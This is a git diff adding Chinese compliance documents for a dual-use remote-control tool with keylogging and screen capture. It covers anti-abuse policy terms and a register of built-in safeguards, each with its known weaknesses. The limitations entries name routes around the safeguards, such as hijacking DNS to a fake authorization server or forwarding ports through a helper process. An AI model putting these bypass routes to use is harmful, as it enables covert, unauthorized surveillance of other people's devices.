实现位置:`common/LANChecker.h` 中的 `LANChecker` 类。
|
||||||
|
|
||||||
|
机制描述:客户端进程周期性扫描本进程的已建立 (ESTABLISHED) 入站
|
||||||
|
TCP 连接,对每一连接的远端 IP 地址进行私网段校验。任何来源于公网
|
||||||
|
IP(即非 RFC 1918 / RFC 3927 / 回环段)的连接被检出后,立即触发
|
||||||
|
向终端用户的可见告警。
|
||||||
|
|
||||||
|
合规意义:用于在试用模式下封堵"客户端直接从公网接入被管设备"
|
||||||
|
这一最常见的越权使用形态。
|
||||||
|
|
||||||
|
### 6.2 监听端口数量上限(`LANChecker::CheckPortLimit`)
|
||||||
|
|
||||||
|
实现位置:同上文件。
|
||||||
|
|
||||||
|
机制描述:扫描本进程占用的 TCP 监听端口总数,并与当前授权档对应
|
||||||
|
的上限值比对:
|
||||||
|
|
||||||
|
| 授权档 | 上限 |
|
||||||
|
|--------|------|
|
||||||
|
| 无口令 | 2 |
|
||||||
|
| 试用口令 | 20 |
|
||||||
|
|
||||||
|
超过上限即触发告警。该机制的目的是防止单台部署被改造为多租户
|
||||||
|
中转节点。
|
||||||
|
|
||||||
|
### 6.3 应用层 RTT 反代理(`LANRttChecker`)
|
||||||
|
|
||||||
|
实现位置:同上文件。
|
||||||
|
|
||||||
|
机制描述:在试用模式下,对每一条控制连接的心跳 RTT 中位数进行
|
||||||
|
持续监测,超过 25 毫秒阈值并持续若干窗口后触发告警。该机制基于
|
||||||
|
"光速决定的物理 RTT 不可被代理转发降低"这一不可规避的物理约束,
|
||||||
|
用于检测"在 LAN 内放置代理 / 反向隧道,源 IP 仍为私网段但实际
|
||||||
|
经公网转发到外部客户端"这一比 6.1 更隐蔽的越权使用形态。
|
||||||
|
|
||||||
|
合规意义:覆盖了"通过反向隧道间接突破 LAN-only 限制"的滥用路径。
|
||||||
|
|
||||||
|
### 6.4 授权服务器周期心跳(`AuthTimeoutChecker`)
|
||||||
|
|
||||||
|
实现位置:同上文件。
|
||||||
|
|
||||||
|
机制描述:客户端进程必须周期性回连发行方运营的授权服务器并完成
|
||||||
|
心跳。长时间无法回连时先告警,超出更长阈值则强制终止进程。
|
||||||
|
|
||||||
|
合规意义:
|
||||||
|
|
||||||
|
- 防止"仅在初次激活时联网,之后离线长期使用"以规避后续吊销;
|
||||||
|
- 为发行方在服务器侧吊销违规授权提供下发通道。
|
||||||
|
|
||||||
|
### 6.5 措施的可被感知性
|
||||||
|
|
||||||
|
上述全部机制均设计为**故意可被终端用户感知**的"告警 / 终止"路径,
|
||||||
|
而非静默运行。这一设计意图是:让被滥用部署的实例**自我暴露**,
|
||||||
|
便于被管设备相关方、IT 管理员或合规人员及时发现异常并采取行动。
|
||||||
|
|
||||||
|
### 6.6 措施的"合理性"声明
|
||||||
|
|
||||||
|
发行方声明:上述机制构成在本软件功能范围内**经合理设计、足以使
|
||||||
|
善意使用方避免越权部署**的技术措施。发行方承认该等措施不能阻止
|
||||||
|
具备充分技术能力且持有恶意的攻击者通过深度修改源代码、二进制
|
||||||
|
patch 或独立重新实现等方式予以规避,但该等深度规避行为本身即超
|
||||||
|
出"使用本软件"的范畴,构成对发行方知识产权与本政策第 5.3 条
|
||||||
|
不规避承诺的独立违反,相应法律后果由实施方独立承担。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 7. 授权分级与对应限制
|
||||||
|
|
||||||
|
| 授权档 | 适用场景 | 强制限制 | 取得方式 |
|
||||||
|
|--------|---------|---------|---------|
|
||||||
|
| 无口令 | 个人单机自用 | 监听端口 ≤ 2 | 直接下载使用 |
|
||||||
|
| 试用口令 | 内部 LAN 设备管理(严禁跨网) | 监听端口 ≤ 20<br>入站连接源 IP 必须为私网段<br>心跳 RTT 中位数 ≤ 25 ms<br>周期性回连授权服务器 | 向发行方申请,提供身份与用途 |
|
||||||
|
| 正式授权 | 跨网远程业务 | 由签发协议另行约定 | 人工审核签发,须提供正当用途说明 |
|
||||||
|
|
||||||
|
正式授权档的取得程序由发行方另行公布,至少包含:
|
||||||
|
|
||||||
|
- 申请人身份核验(自然人为身份证件、法人为营业执照或同等文件);
|
||||||
|
- 用途说明书(部署形态、目标设备规模、数据流向);
|
||||||
|
- 合规承诺函(书面承诺接受本政策约束);
|
||||||
|
- 必要时要求出具被管设备相关方同意取得方案。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 8. 发行方责任范围与免责声明
|
||||||
|
|
||||||
|
### 8.1 发行方责任的有限性
|
||||||
|
|
||||||
|
发行方在本软件项目中的责任范围**仅限于**下列两项:
|
||||||
|
|
||||||
|
1. 提供具备本政策第 6 节所述反滥用机制的软件实现;
|
||||||
|
2. 在签发"正式授权"时进行合理的身份核验与用途说明审查。
|
||||||
|
|
||||||
|
发行方**不承担**下列任何责任:
|
||||||
|
|
||||||
|
- 不审查使用方的实际部署形态、被管设备的实际归属、被管设备相关方
|
||||||
|
实际是否同意;
|
||||||
|
- 不参与使用方的运营、不为使用方采集的任何数据的内容、来源、去向、
|
||||||
|
保管、删除负责;
|
||||||
|
- 不对使用方的合规义务履行情况作任何形式的担保、背书或推荐;
|
||||||
|
- 不对本软件在任何特定司法辖区、特定使用场景下的合法性出具意见。
|
||||||
|
|
||||||
|
### 8.2 关于"许可签发"的特别声明
|
||||||
|
|
||||||
|
发行方明确声明:**签发任何档次的授权,均不构成对被授权方任何具体
|
||||||
|
使用方式的背书、推荐、担保、协助或共谋。** 授权签发仅意味着发行方
|
||||||
|
基于被授权方提交的材料,**初步认为**该方陈述的用途在表面上不属于
|
||||||
|
本政策第 4 节所列禁止情形;该初步认定不替代被授权方自身的合法性
|
||||||
|
评估义务,亦不在被授权方实际使用偏离申请陈述时构成发行方的事先
|
||||||
|
同意。
|
||||||
|
|
||||||
|
### 8.3 越权使用后果的归属
|
||||||
|
|
||||||
|
被授权方违反本政策从事任何越权或违法使用所造成的全部法律后果(含
|
||||||
|
但不限于民事赔偿、行政处罚、刑事责任、第三方损害赔偿、声誉损害),
|
||||||
|
**由被授权方独立承担,与发行方无关**。
|
||||||
|
|
||||||
|
被授权方在此明确同意:发行方在受到任何与该等越权使用有关的索赔、
|
||||||
|
通知、调查或诉讼时,被授权方应作为独立责任主体出面应对,并按本
|
||||||
|
政策第 5.5 条的约定向发行方提供完整的损害赔偿。
|
||||||
|
|
||||||
|
### 8.4 软件按"现状"提供的声明
|
||||||
|
|
||||||
|
本软件按"现状"(AS IS)和"现有功能"(AS AVAILABLE)提供。除属地
|
||||||
|
强制性法律另有明确规定且不可被合同排除者外,发行方**不就本软件
|
||||||
|
作出任何形式的明示或默示担保**,包括但不限于:
|
||||||
|
|
||||||
|
- 适销性担保;
|
||||||
|
- 特定用途适用性担保;
|
||||||
|
- 不侵权担保;
|
||||||
|
- 软件运行不中断或无错误的担保;
|
||||||
|
- 反滥用机制能挡住所有形式的攻击或绕过的担保;
|
||||||
|
- 在任何特定司法辖区下合法可用的担保。
|
||||||
|
|
||||||
|
### 8.5 责任上限
|
||||||
|
|
||||||
|
在属地强制性法律允许的最大范围内,发行方对使用方的全部责任合计
|
||||||
|
不得超过下列两者中的较低者:
|
||||||
|
|
||||||
|
- 使用方为该次授权实际向发行方支付的费用(如有);
|
||||||
|
- 等值于 100 欧元 / 等值于 800 元人民币 / 等值于 100 美元的金额,
|
||||||
|
以发行方所在司法辖区货币为准。
|
||||||
|
|
||||||
|
发行方在任何情况下均不对下列损失承担责任(即便已被告知该等损失
|
||||||
|
之可能性):
|
||||||
|
|
||||||
|
- 间接损失、特殊损失、惩罚性损失、附带损失;
|
||||||
|
- 利润损失、营业中断损失、商誉损失;
|
||||||
|
- 数据丢失或数据损坏;
|
||||||
|
- 第三方索赔。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 9. 违规处置
|
||||||
|
|
||||||
|
### 9.1 单方处置权
|
||||||
|
|
||||||
|
发行方在合理依据下怀疑使用方存在违反本政策的行为时,有权在不另行
|
||||||
|
通知的情况下采取下列任一或全部措施:
|
||||||
|
|
||||||
|
1. 立即吊销该使用方的现有授权;
|
||||||
|
2. 在授权服务器侧将该使用方的标识 / 设备指纹列入黑名单;
|
||||||
|
3. 向有管辖权的执法、监管或司法机关主动报告并提交相关证据;
|
||||||
|
4. 在公开仓库的发行说明、公告或官网中公示违规事实(在符合属地
|
||||||
|
隐私与名誉权法律的前提下)。
|
||||||
|
|
||||||
|
### 9.2 配合执法
|
||||||
|
|
||||||
|
发行方在收到任何有管辖权的执法机关、监管机关或司法机关合法发出
|
||||||
|
的协查函、调取通知、调查令时,将依法配合,包括但不限于:
|
||||||
|
|
||||||
|
- 提交授权签发记录;
|
||||||
|
- 提交授权服务器侧的心跳、IP 等技术日志(在发行方实际持有的范围内);
|
||||||
|
- 在依法保密义务允许的范围内,向相关执法机关说明本软件的设计意图
|
||||||
|
与反滥用机制。
|
||||||
|
|
||||||
|
被授权方对授权协议的接受,即视为对发行方上述配合执法行为的明示
|
||||||
|
同意,不构成对其商业秘密、个人信息或合同义务的违反。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 10. 数据保护与隐私
|
||||||
|
|
||||||
|
### 10.1 发行方不接触使用方采集的数据
|
||||||
|
|
||||||
|
发行方设计本软件时遵循"控制平面(授权 / 心跳)与数据平面(远程
|
||||||
|
桌面 / 文件传输 / 屏幕采集)严格分离"原则。**发行方运营的授权
|
||||||
|
服务器不接收、不存储、不转发使用方通过本软件采集或传输的任何
|
||||||
|
被管设备数据。** 该等数据仅在使用方自身的部署架构中流转,由使用
|
||||||
|
方独立承担"数据控制者"或"数据处理者"在属地法律下的全部义务。
|
||||||
|
|
||||||
|
### 10.2 使用方作为独立数据控制者
|
||||||
|
|
||||||
|
使用方在使用本软件采集、存储、传输、处理被管设备相关方的任何
|
||||||
|
个人信息时,**单独构成属地数据保护法下的数据控制者**(GDPR
|
||||||
|
意义上的 Controller,或《个人信息保护法》意义上的"个人信息处理
|
||||||
|
者"),独立承担下列义务:
|
||||||
|
|
||||||
|
- 合法性基础的取得与记录;
|
||||||
|
- 告知与透明度义务;
|
||||||
|
- 数据主体权利响应(访问、更正、删除、可携带、反对自动决策等);
|
||||||
|
- 数据安全保障与泄露通知;
|
||||||
|
- 跨境传输的合规路径选择;
|
||||||
|
- 留存与删除政策;
|
||||||
|
- 必要时的数据保护影响评估(DPIA)。
|
||||||
|
|
||||||
|
### 10.3 不就属地合规义务作具体指引
|
||||||
|
|
||||||
|
发行方因不掌握使用方的具体部署形态、被管设备类型、被管数据敏感
|
||||||
|
程度,故无法、亦不就使用方在任何具体司法辖区下的合规义务履行
|
||||||
|
作出具体指引。使用方应自行委托专业律师 / 数据保护官(DPO)评估
|
||||||
|
并完成属地合规。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 11. 出口管制与制裁合规
|
||||||
|
|
||||||
|
### 11.1 双用途物项的属性提示
|
||||||
|
|
||||||
|
本软件具备远程访问、屏幕采集、键盘记录、文件传输等技术功能,
|
||||||
|
在部分司法辖区可能构成"双用途物项"(dual-use item),受出口
|
||||||
|
管制法律约束(如 Wassenaar Arrangement 框架下"intrusion software"
|
||||||
|
管制类目、欧盟 Regulation (EU) 2021/821、中国《两用物项出口管制
|
||||||
|
条例》等)。
|
||||||
|
|
||||||
|
### 11.2 使用方的自查义务
|
||||||
|
|
||||||
|
使用方在跨境传输、部署或使用本软件前,应自行评估其行为是否触发
|
||||||
|
属地的出口管制、制裁清单(含联合国制裁、美国 OFAC 制裁、欧盟
|
||||||
|
限制性措施清单、中国不可靠实体清单等)申报或许可义务,并独立
|
||||||
|
承担合规责任。发行方不就该等评估提供任何意见或保证。
|
||||||
|
|
||||||
|
### 11.3 制裁实体禁用
|
||||||
|
|
||||||
|
使用方不得将本软件出口、再出口、转让、提供给任何属地法律所列的
|
||||||
|
制裁对象(自然人 / 法人 / 国家 / 地区),亦不得用于该等制裁对象
|
||||||
|
所控制或所在的设施。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 12. 知识产权与开源声明
|
||||||
|
|
||||||
|
### 12.1 著作权归属
|
||||||
|
|
||||||
|
本软件的源代码与文档之著作权归发行方所有,并按仓库根目录
|
||||||
|
`LICENSE` 文件所标识的开源许可证(如 MIT 许可证)对外许可。
|
||||||
|
该开源许可证授予的权利与本政策对滥用行为的禁止**并行不悖**:
|
||||||
|
开源许可证授予的修改、再分发、商用等权利,不构成对违法 / 越权
|
||||||
|
使用之豁免。
|
||||||
|
|
||||||
|
### 12.2 衍生版本的合规义务传递
|
||||||
|
|
||||||
|
任何对本软件源代码进行修改后再行分发的人员("再分发者"),有
|
||||||
|
义务在其分发物中**完整保留**:
|
||||||
|
|
||||||
|
- 本政策的全文(或对其的不可断链 URL 引用);
|
||||||
|
- 第 6 节所列反滥用技术措施的完整源代码与运行行为;
|
||||||
|
- 仓库根目录 `LICENSE` 文件。
|
||||||
|
|
||||||
|
任何在再分发物中**移除、削弱或禁用**前述任一项的行为,构成对发行方
|
||||||
|
著作权与本政策的双重违反,发行方保留追究责任的全部权利。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 13. 适用法律与争议解决
|
||||||
|
|
||||||
|
### 13.1 适用法律
|
||||||
|
|
||||||
|
本政策的解释、效力及与本政策有关的争议,**适用发行方在仓库联系
|
||||||
|
方式中所披露之住所地的法律**。前述住所地以仓库元数据(README.md、
|
||||||
|
作者声明等)所披露者为准;如发行方未明确披露住所地,则以发行方
|
||||||
|
最新一次公开发布行为发生时其 IP 地址或运营主体注册地所在司法辖区
|
||||||
|
为准。
|
||||||
|
|
||||||
|
### 13.2 争议解决方式
|
||||||
|
|
||||||
|
因本政策引起或与本政策有关的任何争议,双方应首先协商解决;协商
|
||||||
|
不成的,**任一方均有权将争议提交至发行方住所地有管辖权的法院诉讼
|
||||||
|
解决**。使用方在此明示放弃对前述法院管辖权的任何异议(含不方便
|
||||||
|
法院抗辩 forum non conveniens)。
|
||||||
|
|
||||||
|
### 13.3 集体诉讼放弃
|
||||||
|
|
||||||
|
在属地强制性法律允许的范围内,使用方明确放弃以集体诉讼、集团诉讼
|
||||||
|
(class action)或代表人诉讼形式针对发行方主张权利的资格。使用方
|
||||||
|
对发行方的主张应仅以个人名义提出。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 14. 文档优先级与变更
|
||||||
|
|
||||||
|
### 14.1 文档优先级
|
||||||
|
|
||||||
|
本政策与本软件附带 / 关联的其他材料发生冲突时,按下列顺序确定
|
||||||
|
优先级(顺序在前者优先):
|
||||||
|
|
||||||
|
1. 发行方为正式授权另行签订的书面授权协议;
|
||||||
|
2. **本政策**;
|
||||||
|
3. 仓库根目录 `LICENSE` 文件中与责任划分有关的条款;
|
||||||
|
4. `README.md` 及其他说明性文档。
|
||||||
|
|
||||||
|
但本政策第 1.3 条之"对发行方更有利、对使用方义务更严格"的冲突
|
||||||
|
解决规则,作为**最高优先级**适用。
|
||||||
|
|
||||||
|
### 14.2 文档变更
|
||||||
|
|
||||||
|
发行方有权随时更新本政策。更新后的版本自其在仓库公开发布之时起
|
||||||
|
对所有自该时点之后获取本软件的人员生效;对在更新前已获取本软件
|
||||||
|
但在更新后继续使用的人员,自其首次升级 / 重新拉取仓库代码或心跳
|
||||||
|
回连授权服务器之时起生效。
|
||||||
|
|
||||||
|
使用方有义务在每次升级或重新部署本软件前,检查仓库中本政策的
|
||||||
|
最新版本。继续使用即视为接受更新后的版本。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 15. 文档可分割性
|
||||||
|
|
||||||
|
本政策任何一条因任何原因被有管辖权的法院或仲裁机构认定为无效、
|
||||||
|
不可执行或违反公共秩序的,**不影响本政策其他条款的效力**。被
|
||||||
|
认定无效的条款应在最大可能保留发行方原意的前提下,被替换为
|
||||||
|
最接近原意且属合法的条款。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 16. 联系方式
|
||||||
|
|
||||||
|
如就本政策内容、授权申请、违规举报或合规疑问需要与发行方沟通,
|
||||||
|
请通过仓库 `README.md` 中所披露的联系渠道联系发行方。发行方
|
||||||
|
对所有联系信息按其惯例处理,**对联系行为本身不构成任何形式的
|
||||||
|
咨询关系或法律意见关系**。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 附录 A:使用方合规自检清单(建议)
|
||||||
|
|
||||||
|
使用方在每次新部署本软件前,建议自行核对下列事项。本清单仅供
|
||||||
|
参考,不替代专业法律意见:
|
||||||
|
|
||||||
|
- [ ] 我对所有被管设备享有合法的所有权或管理权
|
||||||
|
- [ ] 我已就本软件的安装、运行及数据采集取得每一名被管设备使用人的事先书面同意
|
||||||
|
- [ ] 我已书面记录并保存上述同意,并制定了 ≥ 3 年的保管期限
|
||||||
|
- [ ] 我的使用目的限定在本政策第 3.1 条所列许可场景之内
|
||||||
|
- [ ] 我不在工作场所对员工实施超出当地劳动法允许范围的监控
|
||||||
|
- [ ] 我不对未成年人实施未取得监护人完整同意的监控
|
||||||
|
- [ ] 我不在政府机关 / 关键信息基础设施部署本软件,或已取得相应许可
|
||||||
|
- [ ] 我已评估属地《数据保护法》/ GDPR / 个人信息保护法下的数据控制者义务,并已设计相应制度
|
||||||
|
- [ ] 如涉跨境数据传输,我已完成属地法律所要求的合规路径
|
||||||
|
- [ ] 我未对本软件源代码作任何削弱反滥用机制的修改
|
||||||
|
- [ ] 我已为本次部署留存完整的操作日志、配置记录与授权链证据
|
||||||
|
- [ ] 我理解并同意发行方在合理怀疑时的单方吊销权与配合执法权
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 附录 B:发行方反滥用立场要点(用于对外引用)
|
||||||
|
|
||||||
|
如有第三方(含但不限于潜在客户、合规审查方、媒体、监管机关)就
|
||||||
|
发行方对滥用行为的立场提出询问,可援引下列要点:
|
||||||
|
|
||||||
|
1. **明确反对滥用**:发行方在 README、本政策、源代码注释中均明确
|
||||||
|
反对将本软件用于任何未授权访问、隐蔽监控、商业秘密窃取等违法
|
||||||
|
违规用途。
|
||||||
|
2. **内置技术措施**:发行方在源代码层面内置了至少四项独立的反滥用
|
||||||
|
技术机制(IP 段校验、端口数限制、RTT 反代理、授权心跳),使
|
||||||
|
善意使用方难以无意中越权部署。
|
||||||
|
3. **分级授权**:发行方按"无口令 / 试用 / 正式"三档管理能力开放,
|
||||||
|
高风险的跨网能力仅向通过人工审核的正式授权方开放。
|
||||||
|
4. **不接触数据**:发行方运营的授权服务器仅承担授权与心跳,不接触、
|
||||||
|
不存储使用方通过本软件采集的任何被管设备数据。
|
||||||
|
5. **配合执法**:发行方在收到合法协查请求时依法配合,提交其实际
|
||||||
|
持有的授权与心跳记录。
|
||||||
|
6. **保留处置权**:发行方对存在违规迹象的授权方保留即时吊销权与
|
||||||
|
黑名单处置权,相应授权协议条款已对此作出明示约定。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
**文档结束 / END OF DOCUMENT**
|
||||||
244
docs/Compliance_TechnicalMeasures.md
Normal file
244
docs/Compliance_TechnicalMeasures.md
Normal file
@@ -0,0 +1,244 @@
|
|||||||
|
# 反滥用技术措施清单(技术证据链)
|
||||||
|
|
||||||
|
> **文档版本**:1.0
|
||||||
|
> **维护范围**:本仓库 `common/` `client/` `server/` 三个目录中所有与"反滥用 / 合规执法"
|
||||||
|
> 相关的代码模块。
|
||||||
|
> **文档定位**:本文档是 [`Compliance_AntiAbuse.md`](Compliance_AntiAbuse.md) 第 6 节
|
||||||
|
> "发行方内置的反滥用技术措施"的**工程实现附表**。政策口径以 `Compliance_AntiAbuse.md` 为准;
|
||||||
|
> 本文档仅就"具体代码在哪、为什么这样设计、目前的已知局限"做工程化登记。
|
||||||
|
> **受众**:本仓库的维护者、合规审查方、独立验证人员。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 关于本文档
|
||||||
|
|
||||||
|
本仓库自起步即声明"试用版仅供 LAN 内自用,不得跨网",并明确反对任何未授权访问、
|
||||||
|
隐蔽监控、商业秘密窃取等违法用途(见 [`README_EN.md`](../README_EN.md) /
|
||||||
|
[`ReadMe.md`](../ReadMe.md) / [`Compliance_AntiAbuse.md`](Compliance_AntiAbuse.md))。
|
||||||
|
此声明若仅停留在文字层面,其证明力有限。为此发行方在源代码层面陆续构筑多道
|
||||||
|
**可被独立验证**的技术屏障,并将其引入证据链以备:
|
||||||
|
|
||||||
|
1. 监管核查时举证"已尽合理技术措施";
|
||||||
|
2. 第三方合规审计时提供可直接 review 的代码位置;
|
||||||
|
3. 后续维护者修改这些文件时识别"哪些行为不能被弱化"。
|
||||||
|
|
||||||
|
本文档的每一项措施都给出:
|
||||||
|
|
||||||
|
- **源代码位置**(精确到文件 + 函数 / 类,不带行号 —— 行号随代码漂移);
|
||||||
|
- **机制摘要**(一段话讲清楚做什么);
|
||||||
|
- **设计动机**(为什么需要这一层、防的是哪类滥用形态);
|
||||||
|
- **已知局限**(不夸大宣传,明示哪些场景挡不住)。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 1. 当前生效的技术措施
|
||||||
|
|
||||||
|
### 1.1 入站连接源 IP 段校验
|
||||||
|
|
||||||
|
| 项目 | 内容 |
|
||||||
|
| --- | --- |
|
||||||
|
| 源代码 | [`common/LANChecker.h`](../common/LANChecker.h) `class LANChecker::CheckAndWarn()` |
|
||||||
|
| 触发位置 | [`client/KernelManager.cpp`](../client/KernelManager.cpp) `AuthKernelManager::OnHeatbeatResponse` 的 trial 分支 |
|
||||||
|
| 阈值 | 任一入站连接对端 IP 落在公网段(非 RFC 1918 / RFC 3927 / 回环段)即触发 |
|
||||||
|
| 触发动作 | 终端用户可见 `MessageBox` 告警(一次性 latch) |
|
||||||
|
| 设计动机 | 封堵"试用版被直接挂到公网"这一最常见、技术门槛最低的越权部署 |
|
||||||
|
| 已知局限 | 攻击者在 LAN 内放置反向代理 / 隧道时,对端 IP 仍呈私网段 → 漏检 → 由 [1.3 RTT 反代理](#13-应用层-rtt-反代理) 兜底 |
|
||||||
|
|
||||||
|
### 1.2 监听端口数量上限
|
||||||
|
|
||||||
|
| 项目 | 内容 |
|
||||||
|
| --- | --- |
|
||||||
|
| 源代码 | [`common/LANChecker.h`](../common/LANChecker.h) `LANChecker::CheckPortLimit(int maxPorts)` |
|
||||||
|
| 触发位置 | 同 1.1,trial 分支调用 `CheckPortLimit(2)` |
|
||||||
|
| 阈值 | 试用:≤ 2 个监听端口;无口令:≤ 2 个 |
|
||||||
|
| 触发动作 | 终端用户可见告警 |
|
||||||
|
| 设计动机 | 防止单台试用部署被改造为多租户中转节点 / 公网代理出口 |
|
||||||
|
| 已知局限 | 仅扫描本进程 PID 的监听端口;攻击者另起辅助进程在同机做端口转发可绕过,但攻击成本已上升,且会被其他机制(如 1.3)侧面捕获 |
|
||||||
|
|
||||||
|
### 1.3 应用层 RTT 反代理
|
||||||
|
|
||||||
|
| 项目 | 内容 |
|
||||||
|
| --- | --- |
|
||||||
|
| 源代码 | [`common/LANChecker.h`](../common/LANChecker.h) `class LANRttChecker` |
|
||||||
|
| 触发位置 | [`client/KernelManager.cpp`](../client/KernelManager.cpp) `CKernelManager::OnHeatbeatResponse`(自 commit `4279e79` 起从 `AuthKernelManager` 迁至此处,使采样源从"客户端到授权服务器"变为"客户端到主控服务器",更精确反映滥用链路) |
|
||||||
|
| 启停 | 由主控通过 `MasterSettings.IsTrail` 字段下发;试用主控 → 开,已授权主控 → 关 |
|
||||||
|
| 阈值参数 | 25 ms 中位数 / 滑窗 10 / 收敛跳过 5 / 持续超阈 3 次(最快触发 ≥ 150 秒) |
|
||||||
|
| 触发动作 | 终端用户可见告警(一次性 latch,进程生命周期内不再重弹) |
|
||||||
|
| 设计动机 | 1.1 的物理盲区补丁:光速决定的真实 RTT 不可被代理转发降低,能识别"源 IP 看似私网、实际经公网中转"的反向隧道部署 |
|
||||||
|
| 已知局限 | 攻击者自有公网 IP 且与"客户"同城同 ISP 时,物理 RTT 可低于阈值 → 漏检。该残留盲区已在 [`common/LANChecker.h`](../common/LANChecker.h) `class LANRttChecker` 的头部注释中明示,并标注"需叠加同源 IP 多 ClientID 行为信号做双因素判定" |
|
||||||
|
|
||||||
|
### 1.4 授权服务器周期心跳与超时熔断
|
||||||
|
|
||||||
|
| 项目 | 内容 |
|
||||||
|
| --- | --- |
|
||||||
|
| 源代码 | [`common/LANChecker.h`](../common/LANChecker.h) `class AuthTimeoutChecker` |
|
||||||
|
| 触发位置 | [`client/KernelManager.cpp`](../client/KernelManager.cpp) `AuthKernelManager` 心跳循环;`ResetTimer()` 在每次 ACK 到达时被调 |
|
||||||
|
| 阈值 | DEBUG 30s 警告;RELEASE 300s 警告;后续超时阈值由 `AuthTimeoutChecker::Check` 控制 |
|
||||||
|
| 触发动作 | 警告期:可见 `MessageBox`;终态:进程退出 |
|
||||||
|
| 设计动机 | 防止"仅在初次激活时联网、之后离线长期使用"以规避吊销;同时为发行方在授权服务器侧吊销违规授权提供下发通道 |
|
||||||
|
| 已知局限 | 攻击者搭建假冒授权服务器并做 DNS / hosts 劫持可绕过;但属本政策 [`Compliance_AntiAbuse.md` § 5.3](Compliance_AntiAbuse.md) 明示禁止之"伪造授权服务器响应"行为,已转入法律风险 |
|
||||||
|
|
||||||
|
### 1.5 服务端硬性并发连接上限
|
||||||
|
|
||||||
|
| 项目 | 内容 |
|
||||||
|
| --- | --- |
|
||||||
|
| 源代码 | [`server/2015Remote/2015RemoteDlg.cpp`](../server/2015Remote/2015RemoteDlg.cpp) `CMy2015RemoteDlg` 构造、`OnInitDialog`、`OnPasswordCheck` 三处 |
|
||||||
|
| 机制 | `m_nMaxConnection = 2` 是初始默认;`IsPwdHashValid()` 或 `CheckValid(-1)` 失败时强制重置为 2 并 `UpdateMaxConnection(2)` |
|
||||||
|
| 设计动机 | 未授权主控的"硬天花板"。客户端校验代码可能被重打包绕过,但 TCP / UDP 服务器在并发数超限时直接拒绝新连接,是难以从客户端侧绕开的服务端策略 |
|
||||||
|
| 已知局限 | 未授权主控的运营者若直接修改服务端二进制以解除上限,已构成对政策 [`Compliance_AntiAbuse.md` § 5.3](Compliance_AntiAbuse.md) 的根本违反 |
|
||||||
|
|
||||||
|
### 1.6 系统时钟篡改检测
|
||||||
|
|
||||||
|
| 项目 | 内容 |
|
||||||
|
| --- | --- |
|
||||||
|
| 源代码 | [`common/DateVerify.h`](../common/DateVerify.h) `class DateVerify` |
|
||||||
|
| 触发位置 | [`client/KernelManager.cpp`](../client/KernelManager.cpp) `AuthKernelManager::OnHeatbeatResponse` 中授权分支 |
|
||||||
|
| 机制 | 客户端通过多个公共 NTP 源(阿里云 / 腾讯 / 清华 TUNA / 港澳台 / 全球池等共 11 个,按地理优先级)核对系统时间;时间被回拨用以延长试用 → `TerminateProcess(0xDEAD0001)` |
|
||||||
|
| 设计动机 | 防止用户修改系统时间利用早期试用授权码或绕过时间相关的授权约束 |
|
||||||
|
| 已知局限 | 出网完全被阻断时无法核对 NTP;该情形下与 1.4 共同作用——长时间无 NTP / 无授权心跳同时存在时进程会被自然终止 |
|
||||||
|
|
||||||
|
### 1.7 子连接身份校验
|
||||||
|
|
||||||
|
| 项目 | 内容 |
|
||||||
|
| --- | --- |
|
||||||
|
| 源代码 | [`server/2015Remote/Server.h`](../server/2015Remote/Server.h) `CONTEXT_OBJECT::m_bAuthenticated`;触发于 `TOKEN_CONN_AUTH` 处理路径 |
|
||||||
|
| 机制 | 主连接走 `TOKEN_LOGIN`;屏幕 / 文件 / 键盘等子连接走 `TOKEN_CONN_AUTH`,连入后必须在握手阶段提交可校验凭证;当前阶段为"宽容验证"模式,仅打标记,为后续收紧策略保留入口 |
|
||||||
|
| 设计动机 | 防止攻击者绕过主连接直接连入子连接通道复用既有 ClientID 的会话 |
|
||||||
|
| 已知局限 | 当前为宽容模式(未通过仍接受),仅作为标记。收紧时机待定,将在新增 commit 中说明 |
|
||||||
|
|
||||||
|
### 1.8 主控授权状态下发
|
||||||
|
|
||||||
|
| 项目 | 内容 |
|
||||||
|
| --- | --- |
|
||||||
|
| 源代码 | [`common/commands.h`](../common/commands.h) `struct MasterSettings` 的 `Authorized` / `IsTrail` 字段;服务端 [`server/2015Remote/2015RemoteDlg.cpp`](../server/2015Remote/2015RemoteDlg.cpp) `CMy2015RemoteDlg::OnInitDialog` 中填充 |
|
||||||
|
| 机制 | 服务端在客户端注册后将自己的"授权 / 试用"状态写入 `MasterSettings` 下发;客户端在 [`client/KernelManager.cpp`](../client/KernelManager.cpp) `CMD_MASTERSETTING` 分支接收,据此决定是否启用 [1.3 RTT 反代理](#13-应用层-rtt-反代理) |
|
||||||
|
| 设计动机 | 让试用 / 已授权两种主控的客户端行为差异化:试用主控的所有连入客户端自动启用反代理检测;正式授权主控的客户端则关闭,避免误伤合法的跨网远控场景 |
|
||||||
|
| 兼容性 | 字段位于 `MasterSettings.Reserved` 的前 2 字节,保持 `sizeof(MasterSettings) == 500` 不变;旧客户端连新服务端时按 `MasterSettingsOldSize` 截读,不影响协议兼容 |
|
||||||
|
|
||||||
|
### 1.9 服务端入站 IP 段即时检测
|
||||||
|
|
||||||
|
| 项目 | 内容 |
|
||||||
|
| --- | --- |
|
||||||
|
| 源代码 | [`server/2015Remote/IOCPServer.cpp`](../server/2015Remote/IOCPServer.cpp) `OnAccept` 末段;[`common/LANChecker.h`](../common/LANChecker.h) `LANChecker::IsPrivateIPv4Str` |
|
||||||
|
